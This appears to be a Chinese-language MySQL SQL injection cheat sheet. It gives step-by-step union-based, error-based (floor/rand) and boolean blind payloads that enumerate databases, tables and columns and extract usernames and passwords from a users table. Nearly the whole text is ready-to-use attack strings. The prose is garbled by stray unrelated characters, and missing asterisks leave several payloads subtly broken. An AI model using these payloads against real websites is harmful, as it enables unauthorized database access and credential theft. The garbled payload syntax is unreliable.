注: 以下payload均基于單引號(hào)字符型注入。若是整型注入崇棠,需將單引號(hào)與后面的注釋符(--+)都去掉咽袜;若是雙引號(hào)注入,需將單引號(hào)改為雙引號(hào)枕稀。
可聯(lián)合查詢注入
使用情景:頁(yè)面有顯示位询刹。
優(yōu)點(diǎn):語(yǔ)句簡(jiǎn)單,快速萎坷。
缺點(diǎn):條件苛刻凹联。
原理:通過(guò)顯示位,直接爆出所查信息哆档。
1.判斷當(dāng)前數(shù)據(jù)表中有幾列:
?id=1' order by 數(shù)值 --+
2.查看顯示位在第幾列(這里假設(shè)共有3列):
?id=-1' union select 1,2,3 --+
3.顯示當(dāng)前數(shù)據(jù)庫(kù)(假設(shè)顯示位在第3 列):
?id=-1' union select 1,2,database() --+
4.查詢當(dāng)前數(shù)據(jù)庫(kù)的所有表:
?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+
5.查詢所有數(shù)據(jù)庫(kù) :
?id=-1' union select 1,2,(select group_concat(schema_name) from information_schema.schemata) --+
6.查詢某個(gè)數(shù)據(jù)庫(kù)中的表 (此例為 db1 數(shù)據(jù)庫(kù)):
?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='message') --+
7.查詢某個(gè)表中的所有字段 (此例為 message數(shù)據(jù)庫(kù)中的users 表):
?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='message' and table_name='users') --+
8.查詢某個(gè)表中的字段內(nèi)容(此例為 message數(shù)據(jù)庫(kù)中的users 表):
?id=-1' union select 1,2,(select group_concat(name,0x3a,0x3a,passwd) from message.users) --+
報(bào)錯(cuò)型注入(常存在 部署于開發(fā)環(huán)境的)
使用情景:服務(wù)器開著蔽挠,有mysql_error()的報(bào)錯(cuò)信息,但是沒(méi)有顯示位瓜浸。
優(yōu)點(diǎn):沒(méi)顯示位也可用象泵,快速。
缺點(diǎn):語(yǔ)句復(fù)雜斟叼。
原理:根據(jù)詳細(xì)的報(bào)錯(cuò)信息〈菏伲可以查看到數(shù)據(jù)庫(kù)中的所有內(nèi)容朗涩。
floor 類型
固定格式:(星號(hào)位置替換為查詢語(yǔ)句即可)
?id=1' and (select 1 from (select count(),concat(0x3a,0x3a,(*******),0x3a,0x3a, floor(rand(0)2)) a from information_schema.columns group by a)s) --+
1.爆數(shù)據(jù)庫(kù):
?id=1' and (select 1 from (select count(),concat(0x3a,0x3a,(
select distinct table_schema from information_schema.columns limit 1,1
),0x3a,0x3a, floor(rand(0)2)) a from information_schema.columns group by a)s) --+
小提示:由于報(bào)錯(cuò)信息每次只能顯示1行,所以此處使用limit绑改,通過(guò)修改limit后的第一個(gè)數(shù)值谢床,可依次爆出所有內(nèi)容。下同厘线。
2.爆表名(此例為message數(shù)據(jù)庫(kù)):
?id=1' and (select 1 from (select count(),concat(0x3a,0x3a,(
select table_name from information_schema.tables where table_schema='message' limit 2,1
),0x3a,0x3a, floor(rand(0)2)) a from information_schema.columns group by a)s) --+
3.爆字段(此例為message數(shù)據(jù)庫(kù)的users表):
?id=1' and (select 1 from (select count(),concat(0x3a,0x3a,(
select column_name from information_schema.columns where table_schema='message' and table_name='users' limit 2,1
),0x3a,0x3a, floor(rand(0)2)) a from information_schema.columns group by a)s) --+
4.爆內(nèi)容(此例為message數(shù)據(jù)庫(kù)的users表):
?id=1' and (select 1 from (select count(),concat(0x3a,0x3a,(
select concat(0x3a,0x3a, name,0x3a,0x3a,passwd,0x3a,0x3a) from message.users limit 0,1
),0x3a,0x3a, floor(rand(0)2)) a from information_schema.columns group by a)s) --+
布爾類型注入sql盲注
優(yōu)點(diǎn):通用性強(qiáng)识腿,可以沒(méi)有顯示位,可以沒(méi)有報(bào)錯(cuò)信息
缺點(diǎn):慢造壮。
原理:根據(jù)返回頁(yè)面是否正常渡讼,判斷值的范圍,通過(guò)二分法最終確定具體的值
使用到的函數(shù):
exists() 查詢至少返回一條數(shù)據(jù)
返回:true or false
ascii() 返回一個(gè)字符串最左邊ascii碼的值
substr() 三個(gè)參數(shù)耳璧,一:字符串成箫,二:開始位置,三:長(zhǎng)度 mysql中開始位置從1開始旨枯。
length() 計(jì)算長(zhǎng)度函數(shù)
payload:
1.查詢所有數(shù)據(jù)庫(kù)
- 查詢數(shù)據(jù)庫(kù)個(gè)數(shù):
?id=1' and ((select count(schema_name) from information_schema.schemata) < 77)--+
77為隨意輸入數(shù)字蹬昌,可通過(guò)二分法確定最終值。下同攀隔。 - 查詢某一個(gè)數(shù)據(jù)庫(kù)的長(zhǎng)度:
?id=1' and ((select length(schema_name) from information_schema.schemata limit 1,1) < 77)--+
3)查看某個(gè)數(shù)據(jù)庫(kù)名:
?id=1' and ((select ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))) < 77)--+
通過(guò)改變limit與substr的值皂贩,依次查看每一個(gè)字符
2.查詢某個(gè)數(shù)據(jù)庫(kù)的所有表
1)查詢表的個(gè)數(shù) (此例為message數(shù)據(jù)庫(kù)中的表):
?id=1' and ((select count(distinct+table_name) from information_schema.tables where table_schema='message' ) < 77)--+
2)查看某個(gè)表名的長(zhǎng)度(此例為message數(shù)據(jù)庫(kù)中的表):
?id=1' and ((select length(table_name) from information_schema.tables where table_schema='message' limit 1,1) < 77)--+
3)查看某個(gè)表名(此例為message數(shù)據(jù)庫(kù)中的表):
?id=1' and ((select ascii(substr((select table_name from information_schema.tables where table_schema='message' limit 1,1),1,1))) < 77)--+
通過(guò)改變limit與substr的值栖榨,依次查看每一個(gè)字符
3.查詢某個(gè)表中的所有字段
1)表中字段的個(gè)數(shù)(此例中為message數(shù)據(jù)庫(kù)中的users表):
?id=1' and ((select count(distinct+column_name) from information_schema.columns where table_schema='message' and table_name='users' ) < 77)--+
2)查看某個(gè)字段名的長(zhǎng)度(此例中為message數(shù)據(jù)庫(kù)中的users表):
?id=1' and ((select length(column_name) from information_schema.columns where table_schema='message' and table_name='users' limit 1,1) < 77)--+
3)查看某個(gè)字段名(此例中為message數(shù)據(jù)庫(kù)中的users表):
?id=1 ' and ((select ascii(substr((select column_name from information_schema.columns where table_schema='message' and table_name='users' limit 1,1),1,1))) < 77)--+
通過(guò)改變limit與substr的值,依次查看每一個(gè)字符
4.查看內(nèi)容
1)查看表中的行數(shù)(此例中為message數(shù)據(jù)庫(kù)中的users表):
?id=1' and ((select count(*) from message.users ) < 77)--+
2)查看某個(gè)字段對(duì)應(yīng)內(nèi)容的長(zhǎng)度(此例中為message數(shù)據(jù)庫(kù)中的users表):
?id=1' and ((select length(name) from message.users limit 1,1) < 77)--+
3)查看某個(gè)字段名對(duì)應(yīng)內(nèi)容(此例中為message數(shù)據(jù)庫(kù)中的users表中的name字段):
?id=1' and ((select ascii(substr((select name from message.users limit 1,1),1,1))) < 77)--+
通過(guò)改變limit與substr的值明刷,依次查看每一個(gè)字符